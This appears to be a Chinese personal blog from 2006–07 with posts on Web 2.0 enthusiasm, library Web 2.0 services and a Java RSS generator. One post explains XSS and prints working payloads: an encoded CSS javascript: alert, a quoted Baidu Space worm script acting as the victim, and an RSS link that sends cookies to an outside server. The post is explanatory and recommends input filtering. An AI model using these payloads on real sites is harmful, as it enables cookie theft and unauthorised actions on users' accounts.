高山流水
msgbartop
动之则分,静之则合,无过不及,随曲就伸。
msgbarbottom

27 四 07 我有的只是2.0的热情

我想,每个做技术出身的人,在做了一段时间的技术后,都会走到一个迷茫期,不知道自己该走哪一个方向,当然,最终整理清楚,或者放弃技术了,或者走向了专深。
我从97年就开始接触电脑了,从DOS、WPS、QB到LINUX、ORACLE、JAVA,从步步高学习机到SUN服务器,从单机软件到Web2.0。对于技术,我一直以来的理念,都认为它是一个充满乐趣的玩具,是一个更好实现想法的工具。所以,很多方面我都会去尝试,编程、操作系统、数据库、设计等等,但都浅尝则止。
转眼十年,我依然迷茫,看似好的方向比如数据库,我似乎没有太多兴趣,倘若纯粹由于客观发展方向好而丝毫不考虑自己的真实感受,那么我会觉得这是人生的悲哀,而我喜欢的方向比如用户界面设计,一直以来似乎总徘徊在应用的边沿,人们都认为这些只是表面功夫而已。
Web2.0时代的到来,给我带来了极大的惊喜,它强调用户体验的核心理念正是我长久以来心中最牵挂的东西。一年以来,我由此看到了些许希望,并小心翼翼的尝试,试图让自己确信,这就是我要去做的事情,这就是一个值得自己付出更多努力,能给自己带来更多愉悦的技术方向。
毫无疑问,Web2.0中的“关注技术为用户体验服务、降低用户使用的门槛、珍惜用户的每一次点击、简单就是美、随时随地解决用户的困惑、创造性的满足用户的需求、开发者是用网页在与用户进行对话”等理念让我怦然心动;而Web2.0中所应用的底层技术,都是长期以来我用惯了的东西——javascript、DOM、XML、XHTML、CSS、JAVA等等——也是如此的让我惊喜;但更重要的,我有种很美妙的感觉:通过Web2.0,我甚至可以“触摸”到我的用户。
我喜欢自己的东西做得好看,喜欢自己的东西好用,喜欢自己的东西好玩,其实我一直以来都乐于去做用户界面的事情,Web2.0的到来给我确定自己的方向带来了契机,而在一个越来越强调用户参与的时代,我已经走在了阳光大道上。
当然,在工作中是不能完完全全按照自己的兴趣去做事情的,制度不允许,时间不允许,环境不允许,关键是要知道自己在做什么,并且慢慢地把一些想法融入到工作中去。
来句口号:我是一个的小兵,我在1.0的位置,拿着1.0的工资,怀着2.0的憧憬,带着2.0的热情,走在通往2.0的快乐路途中。

Tags: ,

02 三 07 web2.0海报

Tags: ,

05 十二 06 对web2.0病毒的一点认识


^_^


web2.0的程序也写过那么几个了,一直没关心web2.0病毒的事情,查了些资料,觉得很有意思,可以说说。

 

首先我们要了解一个概念——XSS。XSS是Cross-Site
Scripting的缩写(因为CSS已经被用掉了),意思即是跨网站脚本,简单点说,就是某个网页(或者其他应用,如rss)上存在一段恶意脚本,当一个用户访问到这个应用时,这段恶意脚本是被浏览器信任的,于是浏览器就在用户不知情的情况下执行了这段脚本。而这段脚本可以做的事情包括:窃取COOKIES,sessions
tokens,以及其他存于浏览器上的信息,甚至可以重写你当前页面的内容。

 


举个简单的一个例子,噢,例子你已经体验了,刚打开这个页面的时候是不是弹出了个窗口,跟你
say hello 啊!嘿嘿,刚才没注意?那么刷新一下页面再试一次。

 


原因很简单,在这篇博客里面,我加入了这么一段经过编码的代码:

 

<DIV
STYLE=”background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0048\0065\006C\006C\006F\0027\0029\0029″>^_^</DIV>

 


呵呵,由于新浪的原因,必须经过编码。这段代码正常来写是:<DIV
STYLE=”background-image:url(javascript:alert(’Hello’))”>^_^</DIV>

 

你也许会说,我打开这个页面,弹个窗口跟我 say
hello,没有什么隐私信息,没什么不安全的啊。

 

那么如果我的脚本显示的是你的COOKIE信息呢?

 


你也许又会说,即使有隐私,也只有我自己看到,也没什么不安全的啊。

 


呵呵,虽然AJAX被设计为不能跨域访问,但通过脚本,依然可以以当前用户的身份执行相关操作,并将用户的信息传送至出去,比如以下一段曾经发生在百度空间的代码:

 

function()

{

var req = null;

//创建xmlHttpRequest对象,省略…..

if(window.XMLHttpRequest)

 req = new XMLHttpRequest();

else

…..

req.open(’get’,’.’,false);

req.send();

var s=req.responseText;

p=s.indexOf(’passport.baidu.com/?logout’);

if(p>0)

{

 p=s.indexOf(’<strong>’);

 if(p>0)

 {

   p=s.indexOf(’/',p);

   p2=s.indexOf(String.fromCharCode(34),p);

   var
user=s.substring(p+1,p2);

   var
name=’Here is a bad site’;

   var
link=’目标网址’;

   var
desc=’This link was added by an XSS script’;

   var
url=’/'+user+’/commit’;

  //-
-执行Ajax的数据异步调用,将数据传出,在用户不知情的情况下以用户身份执行了操作

  var
data=’ct=6&cm=1&spRef=’+escape(’http://hi.baidu.com/’+user)+’%2Fmodify%2Fbuddylink%2F0&spBuddyName=’+escape(name)+’&spBuddyURL=’+escape(link)+’&spBuddyIntro=’+escape(desc);

   req.open(’post’,url,false);

   req.send(data);

……


 

想想,如果这段代码出现在网上银行的系统中……

 


其实,由于这些注入的恶意脚本被浏览器认为是来自可信任源的,所以这些恶意脚本执行的用户所不知的操作——比如重写当前页面的内容,把用户提交账户信息的表单重定向到恶意服务器——浏览器是认为正常的。这并不是没有可能的事情。

 


XSS并不是2.0的时代出现的攻击方式,但在AJAX大行其道的2.0时代,的确给XSS提供了温床。今年6月20日爆发的Yamanner蠕虫病毒,还有7月份百度空间自动加为友情链接病毒,都是通过XSS进行侵入的。

 


不要以为只有页面会出现这个问题,web2.0标志性的RSS服务,一样躲不过XSS攻击。因为,不管在线的还是离线的RSS阅读器,都没有设计成很好的对脚本进行过滤,这样当攻击者将恶意代码向RSS中写入时,一样会导致跨站。举个之前发生在Yahoo的例子:

 

<item>

<title>Steal My Cookie!</title>

<link>javascript:%20document.location=’http://www.target.com/cookie.cgi?’%20+document.cookie;</link>


<!—获取用户在当前站点的cookies,并发送到恶意服务器–>

<description>Should Steal Your
Cookie.</description>

<pubDate>Tue, 20 Sep 2005 23:55:18 EDT</pubDate>

</item>

 

很简单的脚本,却有着惊人的攻击力。

 

怎么防范?

 


其实很难从根本上解决这一问题,由于相关技术先天设计的缺陷,人们只能从确保网络应用程序强大到足以没有漏洞,但现状是——基本上网络应用程序的设计都百密一疏,要好好填补住所有的漏洞,需要耗费大量的人力物力——这就是最好的办法。只有严格的执行了输入过滤,才有可能保证安全。可喜的是,当前已经有了一些工具,比如OWASP发布的codeseeker。

 


技术永远是一把双刃剑。这个时候,想起斋主的——借借还还”乃图书馆服务之“根”与“本”——这句话,颇为向往原生态的回归,哈哈~

Tags: ,

24 十一 06 可以轻松部署在图书馆网站上的几个web2.0应用

  还是做回小兵,写点自己熟悉的东西比较好些:)


  web2.0已经火了好长一段时间了,图书馆也提了library2.0等概念,论文也春笋般冒出来,可惜真正部署了2.0应用的图书馆网站还很少。的确,以图书馆的技术水平,要吃透这个东西,还需要一段时间的。但小钟是个拿来主义者,几个简单的web2.0应用部署,还是很简单的,所以在这里提提小钟已经做的,正在做的,准备做的一点web2.0应用。

 


  首先明确一点,在小钟的理解中,web2.0的应用不一定要用到2.0的技术,但一定要用到2.0的理念,所以,以下提及的很多是基于成熟的技术开发的应用,而不是所谓最炫的技术。



  1、Rss订阅服务


 


  Rss订阅应该是当前图书馆网站最好部署的应用。其应用范围可以在新闻、新书通告、数据库更新、电子期刊更新等方面。

 


  部署的方式比较简单,首先我们需要一个生成标准Rss文件的程序,然后通过每天读取一次现有数据表的数据,或者在原有更新数据程序中加入触发器,即可实现Rss文件的生成。

 

  Rss文件规范及生成的程序可以参考以下小钟的几篇文章:

   

    RSS 2.0 Specification 1:What is RSS?

    RSS 2.0 Specification 2:Sample files

    实现RSS订阅的两个简单方式

    一个生成RSS的JavaBean



  另外值得一提的是有些数据库比如Engineering Village
2
,提供了基于关键词的Rss订阅服务,这其实给我们做资源整合提供了一个入口。图书馆可以写一个基于某些关键词的读写各个数据库Rss数据的程序,并进行查重整合,给读者提供服务——这可是做到元数据级的整合了。可惜这段时间没空,没来得及写。


 

  2、博客

 

  现在成熟的博客系统已经很多了,图书馆要部署一个,实在是件很轻松的事情。不过,最好能够进行改造,起码将用户模块和图书馆网站整合起来,然后是和网站的反馈模块整合起来,哈哈。

 

  3、WIKI

 

  一看到WIKI,我第一反应就是,我们网站的帮助中心一定要用这种模式来重新开发,用户用,用户建,没有谁能比用户更懂得他们需要什么样的帮助,也没有人能比用户更早的发现问题。

 

  部署WIKI也是很轻松的事情,但是我们最起码也需要整合一下用户模块,可不能让用户登陆了网站之后,还要登陆一次WIKI啊。

 

  4、即时通讯

 

  以前不就是个聊天室嘛,不过2.0时代,披上了许多或小巧或华丽的外衣——比如新浪的woocall——这个很容易部署,只要在页面内嵌入一个脚本文件,不过它的logo和样式我都不喜欢,而且用户整合这一块实在是有些困难,最后玩玩算了,但自己又没时间搞一个(鄙视自己一下….)。其实这个创意不错,在图书馆网站上部署一个,任何浏览图书馆网站任意页面的人,都可以一起聊天,不过这样倒有点信息无序和失控的可能。

 

  新浪woocall的申请和脚本文件可以在这里找到:

 

  http://woocall.sina.com.cn/

 

  大家可以看看,玩一下。当然,有时间的时候,自己开发一个更好啦。

 

   5、Ajax用户体验啦~

 

  这个就比较细节了,比如颜色渐变,输入前提示,检索过程提示等等,现在小钟在二次开发的期刊导航系统,里面就用到了输入前提示功能,大致效果大家可以看一下Google
Suggest
。等过几天系统完工后,开放源程序给大家看看,呵呵。

 

  Ajax如果不通过XMLHttpRequest和服务器端通讯,就是我们常用的Javascript,对于一些颜色渐变的效果,比如,新闻列表中,读者已经阅读的新闻一种颜色,未阅读的新闻一种颜色,又比如用户鼠标指向一个数据库时,浮现一个悦目的图层,告诉读者更多的信息;对于用户的检索行为,在用户执行检索的零结果页面中,适当的浮现图层,根据读者的检索词,给出相关的检索词建议…..这类的细节,改造起来,并不是很困难的事情。

 

  6、Tagging

 

  Tagging是个很有趣的东西,只是我现在还没有想好在图书馆的哪一块入口——大概在数据库的分类方面?还是在电子期刊的描述方面?其实用户的检索行为是一个很好的标记过程,可惜我们都浪费掉了~

 

  我想最好应用Tagging的是有自建图片库的学校,呵呵,好像我们也有一个,让用户对图片进行描述和标记——在这里再结合WIKI的理念,所有用户都可以更新这一标记,呵呵,完美啊~

 

  
Tagging也要用到Ajax(我上一个类目是不是分得不合适),因为要追踪并记录用户行为。

 

  

  
大概目前来说,我能做的web2.0的事情也差不多上面那几个了,对于用户自定义模块,拖曳,OPEN
SOURCE….等等,估计要等下一年(两年?)的图书馆网站2.0了。

 


  真的希望能多点时间搞点新鲜玩意,而又不会有太大的工作负担,唉,喜新厌旧的人啊~

 

   吃饭……

  

 

 

Tags: , , , , , ,

25 九 06 一个生成RSS的JavaBean


//新闻rss

//jnuzyx.2006.09.20

//需要JDOM1.0

//需要数据库链接类

package rss;

import java.io.FileOutputStream;

import java.util.Date;

import java.text.SimpleDateFormat;

import org.jdom.Attribute;

import org.jdom.Document;

import org.jdom.Element;

import org.jdom.output.XMLOutputter;

import org.jdom.output.Format;

import org.jdom.CDATA;

import java.sql.*;

import *.*Pool;

public class news

{

//

public
static void rssnews(String dir) throws Exception {

Element root = new Element(”rss”);

root.setAttribute(new Attribute(”version”, “2.0″));

Document doc = new
Document(root);
//将根元素植入

Element channel = new Element(”channel”);

root.addContent(channel);

Element Ntitle = new Element(”title”);

Ntitle.addContent(”暨南大学图书馆新闻订阅”);

channel.addContent(Ntitle);

Element Nlink = new Element(”link”);

Nlink.addContent(”http://lib.jnu.edu.cn/“);

channel.addContent(Nlink);

Element Ndescription = new Element(”description”);

Ndescription.addContent(”暨南大学图书馆新闻订阅”);

channel.addContent(Ndescription);

Element Nlanguage = new Element(”language”);

Nlanguage.addContent(”zh-cn”);

channel.addContent(Nlanguage);

Element Ncopyright = new Element(”copyright”);

Ncopyright.addContent(”Copyright 2006 暨南大学图书馆. All Rights
Reserved.”);

channel.addContent(Ncopyright);

Element NwebMaster = new Element(”webMaster”);

NwebMaster.addContent(”暨南大学图书馆”);

channel.addContent(NwebMaster);

Element NpubDate = new Element(”pubDate”);

java.util.Date now=new java.util.Date();

NpubDate.addContent(FormatRssDate(now));

channel.addContent(NpubDate);

Element NlastBuildDate = new Element(”lastBuildDate”);

NlastBuildDate.addContent(FormatRssDate(now));

channel.addContent(NlastBuildDate);

Element Ngenerator = new Element(”generator”);

Ngenerator.addContent(”JNULRSS 1.0(beta)”);

channel.addContent(Ngenerator);

//读入数据库数据

//*.*Pool pool = new ****;

ResultSet rs = pool.getRs(”$sql 语句$”);

//增加ITEM

String strContent;

while(rs.next()){

Element student = new
Element(”item”);//生成元素
student.addContent(new
Element(”title”).addContent(rs.getString(”*”)));

student.addContent(new Element(”link”).addContent(”$url$”)));

student.addContent(new
Element(”author”).addContent(”jnuzyx”));

student.addContent(new
Element(”category”).addContent(”暨南大学图书馆新闻订阅”));

student.addContent(new
Element(”pubdate”).addContent(FormatRssDate($date$)));

if(rs.getString(”$content$”)!=null)

{

strContent =
rs.getString(”$content$”).substring(0, 320)+”….”;

}

else

{

strContent = “请点击查看全文….”;

}

student.addContent(new Element(”description”).addContent(new
CDATA(strContent)));

channel.addContent(student);

}

//关闭

if(rs!=null)

{

rs.close();

}

rs = null;

//输出

try{

XMLOutputter XMLOut = new
XMLOutputter(Format.getPrettyFormat());

XMLOut.output(doc, new FileOutputStream(dir + “news.xml”));

}catch (java.io.IOException e) {

e.printStackTrace();

}

}

public
static String FormatRssDate(Date dt) {

SimpleDateFormat RssFmtDt=new SimpleDateFormat(”EEE, dd MM yyyy
HH:mm:ss z”);

return RssFmtDt.format(dt).toString();

}

}

Tags: , , ,